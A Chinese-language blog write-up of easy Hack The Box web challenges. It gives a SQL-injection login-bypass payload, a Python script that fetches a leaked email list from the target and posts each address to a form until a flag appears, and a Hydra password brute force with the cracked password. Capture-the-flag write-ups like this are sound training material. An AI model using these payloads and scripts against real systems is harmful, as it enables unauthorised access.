接下来是2道web水题,来自hack the box。这个网站还真是厉害啊,邀请码要靠自己破解网页的一个小trick。话不多说看题。
- Cartographer (30)
- HDC (30)
sql注入大水题
使用username='='&password='='
的方式绕过
访问一下info=flag即可得到
这题分两部分
进入登录界面,看到有个js文件不对劲,jquery-3.2
?官方的jquery是用_
的,进去查找submit,可以看到明文的name1和name2。进入
根据论坛大佬的提示,找到secret_area_
路径(来自某图片的索引)发现mails.txt
All good boys are here... hehehehehehe!
----------------------------------------
Peter Punk CallMePink@newmail.com
Nabuchodonosor BabyNavou@mailpost.gr
Ilias Magkakos imagkakos@badmail.com
Nick Pipshow NickTheGreek@mail.tr.gr
Don Quixote Windmill@mail.gr
Crazy Priest SeVaftise@hotmail.com
Fishroe Salad fishroesalad@mail.com
TaPanta Ola OlaMaziLeme@mail.gr
Laertis George I8aki@mail.gr
Thiseas Sparrow Pirates@mail.gr
Black Dreamer SupaHacka@mail.com
Callme Daddy FuckthemALL@mail.com
Aggeliki Lykolouli FwsStoTounel@Traino.pourxetai
Kompinadoros Yannnnis YannisWith4N@rolf.com
Serafino Titamola Ombrax@mail.gr
Joe Hard Soft@Butter.gr
Bond James MyNameIsBond@JamesBond.com
Endof Text EndOfLine@mail.com
在其他位置有一个提交的页面Diaxirisths.php
尝试用一个email发消息,但没回应,估计是要遍历所有email。
写脚本:
# -*- coding = utf8 -*-
import os
import requests
import sys
def getEmail(filename,ip,port):
url = 'http://%s:%s/main/secret_area_/mails.txt' % (ip, port)
command = 'curl '+url+' > '+ filename
if os.path.exists(filename):
pass
else:
os.system(command)
def postData(email,ip,port):
url = 'http://%s:%s/main/Diaxirisths.php' %(ip,port)
proxies={
'http':None,
'https':None
}
data={
'name1':email,
'name2':'test',
'submit':'Send'
}
r = requests.post(url,data=data,proxies=proxies)
if 'flag' in r.text:
print r.text
else:
pass
def readFile(filename, ip, port):
if os.path.exists(filename):
with open(filename,'r') as f:
lines = f.read().splitlines()[2:]
for line in lines:
if line[-1] == ' ':
line = line[:-1]
email = str(line.split(' ')[-1:][0])
postData(email, ip, port)
print email+' finished.'
sys.stdout.flush()
f.close()
if __name__=='__main__':
filename = 'email.txt'
if len(sys.argv)<3:
print 'we need ip and port,check again plz'
else:
ip = str(sys.argv[1])
port = str(sys.argv[2])
getEmail(filename, ip, port)
readFile(filename, ip, port)
分别处理了文本并提交。坑点在于第五个email后面有个空格,如何处理\n也是个问题。emmmmm这两部分毫无关系
于是扩展后的脚本传参数
即可得到flag
这题没什么意思,题目搜一下发现是Hydra,然后爆破就行了,时间问题.
跑出密码 leonardo
然后用burp截一下response就能看到flag.
如果觉得我写的可以,还请您关注我的个人静态博客:https://cntjuscswyz.github.io/
ありがとう